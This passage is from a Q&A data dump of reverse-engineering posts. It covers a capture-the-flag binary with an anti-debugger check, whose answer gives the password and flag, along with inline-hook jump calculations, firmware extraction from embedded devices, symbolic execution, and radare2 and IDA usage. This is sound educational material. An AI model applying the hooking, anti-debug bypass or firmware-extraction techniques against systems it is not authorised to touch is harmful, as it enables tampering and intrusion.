LastActivityDate="2018-09-25T15:59:55.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19451" PostTypeId="1" AcceptedAnswerId="19478" CreationDate="2018-09-25T14:58:02.807" Score="1" ViewCount="6265" Body="&lt;p&gt;This is my first post here. I was recently involved in a capture the flag preparation test which involved decompiling an ELF 32-bit LSB executable, Intel 80386 file for Linux compiled with GCC. The binary is supposed to contain a password for the zip file provided. This is just for preparation to the actual capture the flag challenge that will take place on October 5. I was able to solve the other challenges but this seems impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded the files using base64 down there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I had to install GCC-multilib because I wasn't able to run the binary on a 32 bits system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used strings, objdump and radare2 to get an idea of what was inside the binary.&#xA;I eventually found the main function with a strange behaviour: It calls strcompare with the input string and &lt;em&gt;&quot;s3cR3t_p4sSw0rD&quot;&lt;/em&gt; but if the two strings match it prints out &lt;em&gt;&quot;This is not the solution you are looking for :)&quot;&lt;/em&gt;, on the other hand, if they don't match, it calls a stringlength function over your input and if it is not 34 characters long it prints out &lt;em&gt;&quot;Try again :(&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no success string, in fact in every other case the program stops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using radare debug to run the code but if I run it, prints out &lt;strong&gt;&quot;No debugger please!&quot;&lt;/strong&gt;.&#xA;I eventually found the instruction where this check seems to happen and added a &lt;em&gt;jmp&lt;/em&gt; instruction to bypass the check.&#xA;I was not able to add any breakpoint and run the program through the debugger. It just ends without printing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some functions that contain character data but I didn't find anything useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me find the password, I'm getting crazy over this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base 64 Data (Note, this is a zip file not a url...): &lt;a href=&quot;http:[encoded data, 4158 characters]&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user25783" LastEditorDisplayName="user25783" LastEditDate="2018-09-25T20:44:11.963" LastActivityDate="2018-09-29T09:42:54.393" Title="Can't find the password anywhere in the binary" Tags="|disassembly|elf|gcc|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19452" PostTypeId="2" ParentId="12385" CreationDate="2018-09-25T16:16:12.803" Score="2" Body="&lt;p&gt;In order to easily import the information into IDA it's possible to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download Visual C++ and MFC (ideally the same version)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a very small C++ file which contains the definition of the type, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;afxwin.h&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(you can verify that &lt;code&gt;afxwin.h&lt;/code&gt; header indeed contains the definition of the class) Assume the file is saved as &lt;code&gt;a.cpp&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compile it. (it's not necessary to link)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /c /EHsc /Zi a.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;/Zi&lt;/code&gt; flag is important, it instructs the compiler to generate debug info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Along with &lt;code&gt;a.obj&lt;/code&gt;, a &lt;code&gt;vcXXX.pdb&lt;/code&gt; file should also be generated (can be &lt;code&gt;vc80.pdb&lt;/code&gt;, &lt;code&gt;vc100.pdb&lt;/code&gt;, &lt;code&gt;vc140.pdb&lt;/code&gt;, etc. depends on the compiler version)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enter IDA, open the project, choose &lt;code&gt;File -&amp;gt; Load file -&amp;gt; PDB file...&lt;/code&gt;, then load that PDB file. Optionally enable &lt;code&gt;Types only&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The types should appear in the &quot;Local Types&quot; tab now.&lt;/p&gt;&#xA;" OwnerUserId="25171" LastActivityDate="2018-09-25T16:16:12.803" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19453" PostTypeId="2" ParentId="19358" CreationDate="2018-09-25T17:26:08.647" Score="1" Body="&lt;p&gt;This looks a lot like symbolic execution. For concrete values this is already supported.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x006000b0]&amp;gt; e asm.emu=true&#xA;[0x006000b0]&amp;gt; pdf&#xA;            ;-- section..shellcode:&#xA;            ;-- rip:&#xA;┌ (fcn) entry0 23&#xA;│   entry0 ();&#xA;│           0x006000b0      48c7c3444342.  mov rbx, 0x41424344         ; 'DCBA' ; [01] -rwx section size 22 named .shellcode ; rbx=0x41424344&#xA;│           0x006000b7      4889d8         mov rax, rbx                ; rax=0x41424344&#xA;│           0x006000ba      4801c0         add rax, rax                ; '#' ; rax=0x82848688 ; of=0x0 ; sf=0x0 ; zf=0x0 ; cf=0x0 ; pf=0x1&#xA;│           0x006000bd      4801d8         add rax, rbx                ; '%' ; rax=0xc3c6c9cc ; of=0x0 ; sf=0x0 ; zf=0x0 ; cf=0x0 ; pf=0x1&#xA;│           0x006000c0      48c1e002       shl rax, 2                  ; rax=0x30f1b2730 ; zf=0x0 ; pf=0x1 ; sf=0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ESIL is not that powerful for static analysis as such. I don't think there exists a plugin which does this. There are r2 plugins like &lt;a href=&quot;https://github.com/radareorg/rune&quot; rel=&quot;nofollow noreferrer&quot;&gt;rune&lt;/a&gt; which have some symbolic execution features, you can give them a try. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A rather simple option for you to do this is to use &lt;a href=&quot;https://github.com/cea-sec/miasm&quot; rel=&quot;nofollow noreferrer&quot;&gt;miasm&lt;/a&gt;, which can simplify symbolic execution of a basic block and print expressions/relations. An option is to use &lt;a href=&quot;https://github.com/guedou/r2m2&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2m2&lt;/a&gt; for the same (Maijin from r2 told me this).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from miasm2.analysis.binary import Container&#xA;from miasm2.analysis.machine import Machine&#xA;import sys&#xA;&#xA;with open(&quot;/tmp/resenm&quot;, &quot;rb&quot;) as fdesc:&#xA;    cont = Container.from_stream(fdesc)&#xA;&#xA;default_addr = cont.entry_point&#xA;bs = cont.bin_stream&#xA;&#xA;machine = Machine(cont.arch)&#xA;mn, dis_engine = machine.mn, machine.dis_engine&#xA;ira, ir = machine.ira, machine.ir&#xA;&#xA;mdis = dis_engine(bs, loc_db=cont.loc_db)&#xA;&#xA;ir_arch = ir(mdis.loc_db)&#xA;ir_arch_a = ira(mdis.loc_db)&#xA;&#xA;ircfg = ir_arch.new_ircfg()&#xA;ircfg_a = ir_arch_a.new_ircfg()&#xA;&#xA;asmcfg = mdis.dis_multiblock(default_addr)&#xA;print len(asmcfg)&#xA;for block in asmcfg.blocks:&#xA;    ir_arch.add_asmblock_to_ircfg(block, ircfg)&#xA;    ir_arch_a.add_asmblock_to_ircfg(block, ircfg_a)&#xA;&#xA;from miasm2.ir.symbexec import SymbolicExecutionEngine&#xA;from miasm2.arch.x86.regs import regs_init&#xA;from miasm2.expression.simplifications import expr_simp&#xA;from miasm2.expression.expression import ExprId&#xA;&#xA;sb = SymbolicExecutionEngine(ir_arch_a, regs_init)&#xA;&#xA;nxt_ad = sb.run_at(ircfg_a, default_addr)&#xA;print expr_simp(sb.symbols[ExprId(&quot;RAX&quot;,64)])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will print something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;(RBX_init + RBX_init + RBX_init) &amp;lt;&amp;lt; 0x2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interface this with radare2 hackishly with &quot;!&quot;. As I am not so good with r2, I have posted this to r2 irc. Lets see if we get better options.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-09-26T04:01:19.190" LastActivityDate="2018-09-26T04:01:19.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19454" PostTypeId="2" ParentId="19451" CreationDate="2018-09-25T19:28:06.007" Score="3" Body="&lt;p&gt;you're looking the wrong way. look in the functions before running main and you will find the decryption function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when you're using the decrypt function, you get a key for the archive: &lt;code&gt;1n1T_4nD_F1n1_4rR4Ys_4r3_S0_34sY!!&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and flag:&#xA;&lt;code&gt;{FLG:4#hfoU98Y5(ButYou'llNeverKnowIt)}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EZ&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;part 1 = [2, 93, 2, 103, 108, 7, 93, 119, 108, 117, 2, 93, 2, 108, 7, 65, 97, 7, 106, 64, 108, 7, 65, 0, 108, 96, 3, 108, 0, 7, 64, 106, 18, 18, 0]     &#xA;for i in range(0, len(part_1) - 1):&#xA;      print(chr(part_1[i] ^ 0x33))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25787" LastEditorUserId="2147" LastEditDate="2018-09-26T05:10:25.033" LastActivityDate="2018-09-26T05:10:25.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19455" PostTypeId="2" ParentId="19424" CreationDate="2018-09-25T22:11:57.313" Score="1" Body="&lt;p&gt;Perhaps, the built-in function of saving data for export as an IDC script will help you. Try File -&gt; Produce File -&gt; Dump database to IDC script, then create new database and just run IDC script.&lt;/p&gt;&#xA;" OwnerUserId="25787" LastActivityDate="2018-09-25T22:11:57.313" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19457" PostTypeId="1" AcceptedAnswerId="19505" CreationDate="2018-09-26T09:19:31.103" Score="3" ViewCount="1850" Body="&lt;p&gt;I am on the hook to collect some of legacy firmware images from real-world embedded devices. Before digging into it, I am trying to confirm some high-level points. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it in general possible to gather firmware images from legacy embedded devices? I can come up with some hurdles here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am aware that many embedded devices disable the debug port.&lt;/li&gt;&#xA;&lt;li&gt;embedded system have the so-called &quot;Code Readout Protection&quot; mechanism to prevent users from downloading the firmware&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, I am also  aware the following facts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Firmware could be extracted from embedded devices by abusing busybox, for instance its &lt;code&gt;wget&lt;/code&gt; command. Something like: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13402/limited-busybox-shell&quot;&gt;Limited BusyBox shell&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &quot;code readout protection&quot; could be bypassed, so as the &quot;debug port&quot; issue.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So I am wondering if someone can really picture the landscape here, is it generally considered easy or not to extract legacy firmwares from embedded devices? What is the common procedure and best practice? Thanks. &lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="2147" LastEditDate="2018-10-01T20:44:35.717" LastActivityDate="2018-10-01T22:52:47.313" Title="Extract firmware images from COTS embedded devices" Tags="|debugging|firmware|exploit|embedded|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19459" PostTypeId="1" AcceptedAnswerId="19467" CreationDate="2018-09-26T13:20:01.597" Score="4" ViewCount="6734" Body="&lt;p&gt;I don't get why the two addresses of the functions are subtracted in order to get the jump destination. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    eax, [ebp+func1]&#xA;sub    eax, [ebp+func2]&#xA;sub    eax, 5&#xA;mov    [ebp+var_4], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is then used as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    edx, [ebp+func2]&#xA;mov    [edx], 0E9h         ;E9 is opcode for jmp&#xA;mov    eax, [ebp+func2]&#xA;mov    ecx, [ebp+var_4]&#xA;mov    [eax+1], ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The intention of this code should be that at the beginning of &lt;code&gt;func2&lt;/code&gt; a jump to &lt;code&gt;func1&lt;/code&gt; should be inserted. The jump location is calculated in the first snippet. Is that right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why the location is calculated by difference of the two memory addresses? Why don't use directly the address of &lt;code&gt;func1&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: This example is from the Practical Malware Analysis book (Lab11-2) on the topic of Inline Hooking.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="25793" LastEditorUserId="2147" LastEditDate="2018-09-26T20:37:41.163" LastActivityDate="2018-10-01T19:30:59.410" Title="Calculation of jmp address through subtraction" Tags="|disassembly|assembly|x86|function-hooking|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19461" PostTypeId="2" ParentId="19459" CreationDate="2018-09-26T17:04:46.147" Score="3" Body="&lt;p&gt;&lt;code&gt;E9&lt;/code&gt; is a relative jump and since it was supposed to be inserted at the beginning of the function then &lt;code&gt;sub&lt;/code&gt;-tracting the two addresses is the way to go for calculating the difference in bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why relative jump instead of an absolute? It's shorter so if one needs to remember the original bytes it's just 3 instead of 5 bytes.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-09-26T17:40:16.980" LastActivityDate="2018-09-26T17:40:16.980" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19462" PostTypeId="1" AcceptedAnswerId="19464" CreationDate="2018-09-26T18:15:03.647" Score="1" ViewCount="1385" Body="&lt;p&gt;I have a simple DOS COM program which I want to analyse using Radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  USE16&#xA;  ORG 100h&#xA;&#xA;  mov ax, cs&#xA;  dec ax&#xA;  mov ds, ax&#xA;&#xA;  mov dx, message+10h&#xA;  mov ah, 9&#xA;  int 21h&#xA;  ret&#xA;&#xA;message:   db &quot;Hello there!$&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Use &lt;code&gt;yasm&lt;/code&gt; or &lt;code&gt;echo &quot;jMhIjti6HQG0Cc0hw0hlbGxvIHRoZXJlISQ=&quot; | base64 -d &amp;gt; test.com&lt;/code&gt; to compile it to a binary.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I load the binary using &lt;code&gt;r2 -b16 test.com&lt;/code&gt; radare shows that I'm at &lt;code&gt;0000:0000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I tell radare that the actual program address should be &lt;code&gt;0000:0100&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how can I tell radare that the offset loaded into the &lt;code&gt;dx&lt;/code&gt; register points to &lt;code&gt;message&lt;/code&gt;? In other words, can I tell radare that &lt;code&gt;dx&lt;/code&gt; is an offset using a segment that starts at &lt;code&gt;0000:0100 - 0x10&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="25796" LastActivityDate="2018-09-26T18:51:44.443" Title="Working with 16bit offsets and segments in Radare2" Tags="|radare2|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19463" PostTypeId="2" ParentId="19459" CreationDate="2018-09-26T18:40:55.980" Score="1" Body="&lt;p&gt;Let me try a possible explanation for your code snippet, independent of the fact that a relative addressing seems by far the most straightforward solution, as already pointed out by Pawel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you write a little program with &lt;code&gt;func1&lt;/code&gt; and &lt;code&gt;func2&lt;/code&gt;, say in VS2015, and inspect what the compiler generates, you might find the following:&#xA;The compiler generates a long relative jmp to enter function &lt;code&gt;func1&lt;/code&gt;. In its realization, the opcode &lt;code&gt;E9&lt;/code&gt; is already in place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the compiler generates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;func1:&#xA;003D1226 E9 B5 0B 00 00       jmp         func1 (03D1DE0h) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the real call to &lt;code&gt;func1&lt;/code&gt; (written by the programmer in C), it generates the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;003D4D6B E8 B6 C4 FF FF       call        func1 (03D1226h)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if you try to replace the compiler's relative jmp with a direct absolute jmp (your question), you must find an assembler statement which is not longer than the relative jmp (5 Bytes), in order not to destroy the subsequent code. I think this will not be easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find a discussion about a similar question &lt;a href=&quot;https://stackoverflow.com/questions/32706833/how-to-code-a-far-absolute-jmp-call-instruction-in-masm&quot;&gt;here. &lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, if you want to try it out yourself, you must make sure that the code segment is writeable, which it is normally not. In Windows you could use a proper call to &quot;VirtualProtect&quot; to achieve it.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="2147" LastEditDate="2018-09-26T22:54:29.940" LastActivityDate="2018-09-26T22:54:29.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19464" PostTypeId="2" ParentId="19462" CreationDate="2018-09-26T18:51:44.443" Score="3" Body="&lt;p&gt;You can use &lt;code&gt;-m 0x100&lt;/code&gt; to load the binary at a specific address, as can be seen in &lt;code&gt;r2 -h&lt;/code&gt; output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-m [addr]    map file at given address (loadaddr)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -m 0x100 -b 16 test.com&#xA;&#xA;[0000:0100]&amp;gt; aa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[0000:0100]&amp;gt; pdf&#xA;╭ (fcn) fcn.00000100 13&#xA;│   fcn.00000100 ();&#xA;│           0000:0100      8cc8           mov ax, cs&#xA;│           0000:0102      48             dec ax&#xA;│           0000:0103      8ed8           mov ds, ax&#xA;│           0000:0105      ba1d01         mov dx, 0x11d                ; 285&#xA;│           0000:0108      b409           mov ah, 9&#xA;│           0000:010a      cd21           int 0x21                     ; '!'&#xA;╰           0000:010c      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regarding your second question, the bytes that interpreted as &lt;code&gt;mov dx, 0x11d&lt;/code&gt; are &lt;code&gt;ba1d01&lt;/code&gt;. As you can see, 0x01d1 is hard coded so r2 won't add &lt;code&gt;message +&lt;/code&gt; to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a flag using &lt;code&gt;f str.message 13 @ 0x10d&lt;/code&gt; but it would probably not  be helpful in your case.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-09-26T18:51:44.443" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19465" PostTypeId="2" ParentId="19459" CreationDate="2018-09-26T19:06:50.993" Score="2" Body="&lt;p&gt;I don't have access to the book so let's say &lt;code&gt;func1&lt;/code&gt; starts at address &lt;code&gt;0x10&lt;/code&gt; and &lt;code&gt;func2&lt;/code&gt; starts at &lt;code&gt;0x30&lt;/code&gt;. The distance between &lt;code&gt;func2&lt;/code&gt; and &lt;code&gt;func1&lt;/code&gt; is therefore &lt;code&gt;0x20&lt;/code&gt; bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to jump from the beginning of &lt;code&gt;func1&lt;/code&gt; to &lt;code&gt;func2&lt;/code&gt; you have two options (using pseudo assembly):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;using relative jump (opcode &lt;code&gt;E9&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x10 JR +0x20 ; will jump to 0x10 + func2-func1 = 0x10 + 0x30-0x10 = 0x30&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;using absolute jump (opcode &lt;code&gt;EA&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x10 JP 0x30 ; will jump 0x30 = func2&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both achieve the same in your case. The advantage of a relative jump is that you only have to know how far &lt;code&gt;func2&lt;/code&gt; is from &lt;code&gt;func1&lt;/code&gt;. You don't have to know or care where exactly in the memory the executable loader will load the binary. In my example it was &lt;code&gt;0x10&lt;/code&gt; for&lt;code&gt;func1&lt;/code&gt; and &lt;code&gt;0x30&lt;/code&gt; for &lt;code&gt;func2&lt;/code&gt; but in reality the the program might end up at &lt;code&gt;0x120&lt;/code&gt; for &lt;code&gt;func1&lt;/code&gt; and &lt;code&gt;0x140&lt;/code&gt; for &lt;code&gt;func2&lt;/code&gt;. If you had an absolute jump, you'd have to jump to &lt;code&gt;0x140&lt;/code&gt; but if you have a relative jump the difference between &lt;code&gt;func2&lt;/code&gt; and &lt;code&gt;func1&lt;/code&gt; remains the same &lt;code&gt;0x20&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example you already know the actual address of &lt;code&gt;func2&lt;/code&gt; so you can just as well jump straight to &lt;code&gt;func2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relative jump opcode takes fewer bytes than the absolute jump but the disadvantage is that if the distance between &lt;code&gt;func2&lt;/code&gt; and &lt;code&gt;func1&lt;/code&gt; is too big (depending on your addressing mode), you wouldn't be able to use it.&lt;/p&gt;&#xA;" OwnerUserId="25796" LastActivityDate="2018-09-26T19:06:50.993" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19466" PostTypeId="2" ParentId="19405" CreationDate="2018-09-26T19:37:19.097" Score="2" Body="&lt;p&gt;In OllyDbg there is the option to set memory breakpoints. That means, you can break at the instruction which accesses this certain memory address or the region you specified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set, that the breakpoint triggers at read, write and/or execute. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set a memory breakpoint, select the area in the memory dump/map, right-click and choose Breakpoint &gt; Memory, on Access (or what you want, probably that). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the program and now it should stop at the instruction where this memory is accessed.&lt;/p&gt;&#xA;" OwnerUserId="25793" LastActivityDate="2018-09-26T19:37:19.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19467" PostTypeId="2" ParentId="19459" CreationDate="2018-09-26T19:47:35.317" Score="7" Body="&lt;p&gt;&lt;em&gt;I'll start with briefly going over the code for completeness's sake even though OP clearly understands what's going on and mostly asks about the reasoning behind it&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first snippet of code can be easily written like the following in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dword var_4 = &amp;amp;func1 - &amp;amp;func2 - 5;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This piece of code, by itself, raises a few questions we'll answer in a bit but first lets dig a little deeper into the second assembly snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    edx, [ebp+func2]&#xA;mov    [edx], 0E9h         ;E9 is opcode for jmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first byte of &lt;code&gt;func2&lt;/code&gt; is set to &lt;code&gt;0xE9&lt;/code&gt;, which is the opcode for a &quot;Jump near, relative, immediate&quot; jump.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    eax, [ebp+func2]&#xA;mov    ecx, [ebp+var_4]&#xA;mov    [eax+1], ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the next four bytes of &lt;code&gt;func&lt;/code&gt; (1 through 5) are set to the offset previously calculated in the first snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this may raise a couple of questions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why is the offset then decreased by &lt;code&gt;5&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is done because a relative jump is relative to &lt;em&gt;the next instruction&lt;/em&gt;, thus subtracting 5 removes the 5 additional bytes of the jump instruction itself. A more &lt;em&gt;accurate&lt;/em&gt; way of looking at it is that the offset should be calculated from &lt;code&gt;&amp;amp;func2 + 5&lt;/code&gt;. The original equation (&lt;code&gt;&amp;amp;func1 - &amp;amp;func2 - 5&lt;/code&gt;) is obviously identical to &lt;code&gt;&amp;amp;func1 - (&amp;amp;func2 + 5)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why do we care so much about instruction length to begin with?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, as some people here already implied, the length of a hook jump is important. That is very much true (although does not tell the whole reason behind the relative jump preference). The length of the hook (or jump sequence) is important because it can create weird edge cases. This isn't just about some minor performance optimization or keeping things simple, as one might assume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One big consideration is that you'll need to replace any instructions you overwrite. Those bytes you use for your jump had a meaning. And they have to be preserved somewhere. Overwriting more bytes means you have to copy more of them elsewhere. With relative instructions on the original instruction sequence fixed, for example. You'll need to make sure you do not leave half-instructions after you. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why use a relative jump and not an absolute address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Sorry it took a while to get here ;D&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a lot of people overlook or forget that over time, but as carefully reviewing the &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_147.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;jump instruction&lt;/a&gt; will reveal, the x86 jump opcodes &lt;em&gt;lacks a &lt;strong&gt;near&lt;/strong&gt;, &lt;strong&gt;immediate&lt;/strong&gt;, &lt;strong&gt;absolute&lt;/strong&gt; jump&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've got three different types of jumps in x86:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;E9&lt;/code&gt; for &lt;em&gt;near immediate&lt;/em&gt; offsets (offsets hard coded directly as an integer inside the instruction itself).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;FF /4&lt;/code&gt; for &lt;em&gt;near absolute&lt;/em&gt; jumps.&lt;/li&gt;&#xA;&lt;li&gt;we've got &lt;code&gt;EA&lt;/code&gt; for &lt;em&gt;far immediate absolute&lt;/em&gt; jumps.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;far&lt;/strong&gt; jump opcode (&lt;code&gt;EA&lt;/code&gt;) is slow and mostly used for changing segment registers (which have a completely different use in protected mode), it is therefore rarely used as a &lt;em&gt;normal jump&lt;/em&gt; per-se, but as a call-gate, for switching between execution contexts, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;absolute address&lt;/strong&gt; jump opcode (&lt;code&gt;FF /4&lt;/code&gt;) &lt;em&gt;does not accept&lt;/em&gt; an immediate value. It can only jump to a value stored in a register or stored in memory.Therefore, using it will require you either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Storing the absolute offset at some reserved memory space, specifically allocated by the hook routine for each hook function for that purpose, or&lt;/li&gt;&#xA;&lt;li&gt;Hard-coding an register load instruction, which will set a register to the absolute value. Something like &lt;code&gt;mov eax, &amp;lt;absolute value&amp;gt; / jump eax&lt;/code&gt; or &lt;code&gt;push &amp;lt;absolute value&amp;gt; / ret&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Understanding this, it is clear that using the near, immediate, relative jump is far easier than both of these approaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So although it is accurate to say using an absolute address 